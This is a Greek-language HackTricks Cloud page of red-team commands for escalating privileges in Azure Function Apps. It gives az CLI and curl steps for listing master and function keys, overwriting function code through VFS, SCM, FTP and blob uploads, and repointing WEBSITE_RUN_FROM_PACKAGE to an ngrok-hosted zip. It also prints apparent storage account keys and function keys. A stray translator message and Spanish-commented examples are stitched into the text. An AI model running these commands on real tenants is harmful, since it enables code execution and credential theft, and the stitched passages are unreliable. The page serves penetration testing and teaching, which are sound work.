Az - Functions App Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Function Apps
Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες:
Bucket Read/Write
Με δικαιώματα ανάγνωσης των containers μέσα στο Storage Account που αποθηκεύει τα δεδομένα της function, είναι δυνατό να βρεθούν διάφορα containers (προσαρμοσμένα ή με προκαθορισμένα ονόματα) που μπορεί να περιέχουν τον κώδικα που εκτελείται από τη function.
Αφού βρείτε πού βρίσκεται ο κώδικας της function, αν έχετε δικαιώματα εγγραφής σε αυτόν, μπορείτε να κάνετε τη function να εκτελέσει οποιονδήποτε κώδικα και να αυξήσετε τα προνόμια προς τα managed identities που είναι συνδεδεμένα στη function.
File Share(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
Ο κώδικας της function συνήθως αποθηκεύεται μέσα σε ένα file share. Με αρκετή πρόσβαση είναι δυνατό να τροποποιήσετε το αρχείο κώδικα και να κάνετε τη function να φορτώσει αυθαίρετο κώδικα, επιτρέποντας την αναβάθμιση προνομίων προς τα managed identities που είναι συνδεδεμένα με τη Function.
Αυτή η μέθοδος deployment συνήθως ρυθμίζει τις ρυθμίσεις WEBSITE_CONTENTAZUREFILECONNECTIONSTRING και WEBSITE_CONTENTSHARE τις οποίες μπορείτε να αποκτήσετε από
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Αυτές οι ρυθμίσεις θα περιέχουν το Storage Account Key που η Function μπορεί να χρησιμοποιήσει για να αποκτήσει πρόσβαση στον κώδικα.
Caution
Με αρκετά δικαιώματα για να συνδεθεί στο File Share και να τροποποιήσει το script που τρέχει, είναι δυνατή η εκτέλεση αυθαίρετου κώδικα στη Function και η κλιμάκωση προνομίων.
Το παρακάτω παράδειγμα χρησιμοποιεί macOS για να συνδεθεί στο file share, αλλά συνιστάται επίσης να ελέγξετε την παρακάτω σελίδα για περισσότερες πληροφορίες σχετικά με τα file shares:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases(WEBSITE_RUN_FROM_PACKAGE)
Είναι επίσης συνηθισμένο να βρείτε τα zip releases μέσα στο φάκελο function-releases του Storage Account container που το function app χρησιμοποιεί, σε ένα container συνήθως ονομαζόμενο function-releases.
Συνήθως αυτή η μέθοδος ανάπτυξης θα ορίσει τη ρύθμιση WEBSITE_RUN_FROM_PACKAGE στο:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Αυτό το config συνήθως περιέχει ένα SAS URL για λήψη του κώδικα από το Storage Account.
Caution
Με αρκετά δικαιώματα για να συνδεθείτε στο blob container που περιέχει τον κώδικα σε zip είναι δυνατό να εκτελεστεί arbitrary code στη Function και να escalate privileges.
github-actions-deploy(WEBSITE_RUN_FROM_PACKAGE)
Όπως και στην προηγούμενη περίπτωση, αν το deployment γίνεται μέσω Github Actions είναι δυνατό να βρεθεί ο φάκελος github-actions-deploy στο Storage Account που περιέχει ένα zip του κώδικα και ένα SAS URL προς το zip στη ρύθμιση WEBSITE_RUN_FROM_PACKAGE.
scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
Με δικαιώματα ανάγνωσης των containers μέσα στο Storage Account που αποθηκεύει τα δεδομένα της Function, είναι δυνατό να βρεθεί το container scm-releases. Εκεί είναι δυνατό να βρεθεί το latest release σε Squashfs filesystem file format και επομένως είναι δυνατό να διαβαστεί ο κώδικας της Function:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
Είναι επίσης δυνατό να βρείτε τα master and functions keys αποθηκευμένα στον storage account στον container azure-webjobs-secrets, μέσα στον φάκελο <app-name>, στα JSON αρχεία που θα βρείτε εκεί.
Caution
Με επαρκή δικαιώματα για σύνδεση στον blob container που contains the code in a zip extension file (το οποίο στην πραγματικότητα είναι
squashfs), είναι δυνατό να εκτελεστεί arbitrary code στο Function και να γίνει escalate privileges.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
Αυτή η άδεια επιτρέπει την απαρίθμηση των function, master και system keys της καθορισμένης λειτουργίας, αλλά όχι του host key, με:
az functionapp keys list --resource-group <res_group> --name <func-name>
Με το κύριο κλειδί είναι επίσης δυνατό να λάβετε τον πηγαίο κώδικα μέσω ενός URL όπως:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
Και για να αλλάξετε τον κώδικα που εκτελείται στη συνάρτηση με:
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
Αυτή η άδεια επιτρέπει την απόκτηση του default key της συγκεκριμένης function με:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Εκτελέστε τη function χρησιμοποιώντας το προεπιλεγμένο κλειδί που αποκτήθηκε:
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
Microsoft.Web/sites/host/functionKeys/write
Αυτό το δικαίωμα επιτρέπει τη δημιουργία/ενημέρωση ενός function key της συγκεκριμένης function με:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
Αυτή η άδεια επιτρέπει τη δημιουργία/ενημέρωση ενός master key για τη συγκεκριμένη function με:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Caution
Θυμηθείτε ότι με αυτό το key μπορείτε επίσης να έχετε πρόσβαση στον source code και να τον τροποποιήσετε όπως εξηγήθηκε προηγουμένως!
Microsoft.Web/sites/host/systemKeys/write
Αυτή η άδεια επιτρέπει τη δημιουργία/ενημέρωση ενός system function key για τη συγκεκριμένη function με:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Δεν λάβαμε κανένα κλειδί ή περιεχόμενο. Παρακαλώ επικολλήστε το κλειδί ή το κείμενο από το αρχείο (src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) που θέλετε να μεταφράσω.
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
Microsoft.Web/sites/config/list/action
Αυτή η άδεια επιτρέπει την ανάκτηση των ρυθμίσεων μιας function. Μέσα σε αυτές τις ρυθμίσεις μπορεί να βρεθούν οι προεπιλεγμένες τιμές AzureWebJobsStorage ή WEBSITE_CONTENTAZUREFILECONNECTIONSTRING, οι οποίες περιέχουν ένα account key για πρόσβαση στο blob storage της function με FULL permissions.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
Επιπλέον, αυτή η άδεια επιτρέπει επίσης την απόκτηση των SCM username and password (εάν είναι ενεργοποιημένα) με:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
Αυτές οι permissions επιτρέπουν να απαριθμηθούν οι τιμές του config μιας function όπως είδαμε προηγουμένως, καθώς και η τροποποίηση αυτών των τιμών. Αυτό είναι χρήσιμο επειδή αυτές οι ρυθμίσεις δείχνουν πού βρίσκεται ο κώδικας που θα εκτελεστεί μέσα στη function.
Επομένως είναι δυνατό να οριστεί η τιμή της ρύθμισης WEBSITE_RUN_FROM_PACKAGE σε ένα URL αρχείου zip που περιέχει τον νέο κώδικα για εκτέλεση μέσα σε μια web application:
- Ξεκινήστε λαμβάνοντας το τρέχον config
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- Δημιουργήστε τον κώδικα που θέλετε να εκτελέσει η function και φιλοξενήστε τον δημόσια
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- Τροποποιήστε τη function, κρατήστε τις προηγούμενες παραμέτρους και προσθέστε στο τέλος την config
WEBSITE_RUN_FROM_PACKAGEπου δείχνει στο URL με το zip που περιέχει τον κώδικα.
Το ακόλουθο είναι ένα παράδειγμα των δικών μου ρυθμίσεων που θα χρειαστεί να αλλάξετε τις τιμές για τις δικές σας, σημειώστε στο τέλος την τιμή "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", εκεί φιλοξενούσα την εφαρμογή.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
Με αυτή την άδεια είναι δυνατό να τροποποιηθεί ο κώδικας μιας εφαρμογής μέσω της web κονσόλας (ή μέσω του ακόλουθου API endpoint):
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
Αυτή η άδεια επιτρέπει την απαρίθμηση όλων των publishing profiles, που ουσιαστικά περιέχουν basic auth credentials:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
Μια άλλη επιλογή θα ήταν να ορίσετε τα δικά σας creds και να τα χρησιμοποιήσετε ως εξής:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- Αν REDACTED credentials
Αν δείτε ότι αυτά τα credentials είναι REDACTED, αυτό συμβαίνει επειδή πρέπει να ενεργοποιήσετε την επιλογή SCM basic authentication και γι’ αυτό χρειάζεστε τη δεύτερη άδεια (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Μέθοδος SCM
Στη συνέχεια, μπορείτε να αποκτήσετε πρόσβαση με αυτά τα basic auth credentials to the SCM URL της function app σας και να λάβετε τις τιμές των env variables:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Σημειώστε ότι το SCM username είναι συνήθως ο χαρακτήρας “$” ακολουθούμενος από το όνομα της εφαρμογής, δηλαδή: $<app-name>.
Μπορείτε επίσης να αποκτήσετε πρόσβαση στη σελίδα web από https://<app-name>.scm.azurewebsites.net/BasicAuth
Οι τιμές των ρυθμίσεων περιέχουν το AccountKey του storage account που αποθηκεύει τα δεδομένα της function app, επιτρέποντας τον έλεγχο αυτού του storage account.
- Μέθοδος FTP
Συνδεθείτε στον FTP server χρησιμοποιώντας:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
Σημειώστε ότι το FTP username συνήθως έχει τη μορφή <app-name>\$<app-name>.
Microsoft.Web/sites/hostruntime/vfs/read
Αυτό το δικαίωμα επιτρέπει να διαβάσετε τον πηγαίο κώδικα της εφαρμογής μέσω του VFS:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
Με αυτήν την άδεια είναι δυνατόν να λάβετε το admin token το οποίο μπορεί στη συνέχεια να χρησιμοποιηθεί για να ανακτηθεί το master key και επομένως να αποκτήσετε πρόσβαση και να τροποποιήσετε τον κώδικα της function.
Ωστόσο, στους τελευταίους μου ελέγχους δεν επιστράφηκε κανένα token, οπότε ίσως είναι απενεργοποιημένο ή δεν λειτουργεί πια, αλλά εδώ είναι πώς θα το κάνατε:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
Αυτό το δικαίωμα επιτρέπει να enable functions που μπορεί να είναι απενεργοποιημένες (ή να τις απενεργοποιήσει).
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
Επίσης μπορείτε να δείτε αν μια function είναι ενεργοποιημένη ή απενεργοποιημένη στην ακόλουθη URL (χρησιμοποιώντας την άδεια που αναφέρεται στην παρένθεση):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
Με αυτά τα permissions είναι δυνατό να τροποποιήσει κανείς το container που εκτελείται από ένα function app το οποίο είναι ρυθμισμένο να τρέχει container. Αυτό θα επέτρεπε σε έναν attacker να ανεβάσει ένα κακόβουλο azure function container app στο docker hub (για παράδειγμα) και να κάνει τη function να το εκτελέσει.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
Με αυτά τα δικαιώματα είναι δυνατό να attach a new user managed identity to a function. Αν η function είχε παραβιαστεί, αυτό θα επέτρεπε την κλιμάκωση προνομίων σε οποιαδήποτε user managed identity.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Απομακρυσμένη Αποσφαλμάτωση
Επίσης είναι δυνατό να συνδεθείτε για να κάνετε αποσφαλμάτωση σε μια εκτελούμενη Azure Function όπως explained in the docs. Ωστόσο, από προεπιλογή η Azure θα απενεργοποιήσει αυτή την επιλογή μετά από 2 ημέρες σε περίπτωση που ο προγραμματιστής ξεχάσει, για να αποφευχθεί η παραμονή ευάλωτων ρυθμίσεων.
Μπορείτε να ελέγξετε αν μια Function έχει ενεργοποιημένη την αποσφαλμάτωση με:
az functionapp show --name <app-name> --resource-group <res-group>
Έχοντας την άδεια Microsoft.Web/sites/config/write, είναι επίσης δυνατό να βάλετε μια Function σε debugging mode (η παρακάτω εντολή απαιτεί επίσης τις άδειες Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read και Microsoft.Web/sites/Read).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Αλλαγή Github repo
Προσπάθησα να αλλάξω το Github repo από όπου γίνεται το deploying εκτελώντας τις παρακάτω εντολές αλλά ακόμα κι αν άλλαξε, ο νέος κώδικας δεν φορτώθηκε (πιθανόν επειδή περιμένει το Github Action να ενημερώσει τον κώδικα).
Επιπλέον, το managed identity federated credential δεν ενημερώθηκε ώστε να επιτρέψει το νέο repository, οπότε φαίνεται πως αυτό δεν είναι πολύ χρήσιμο.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

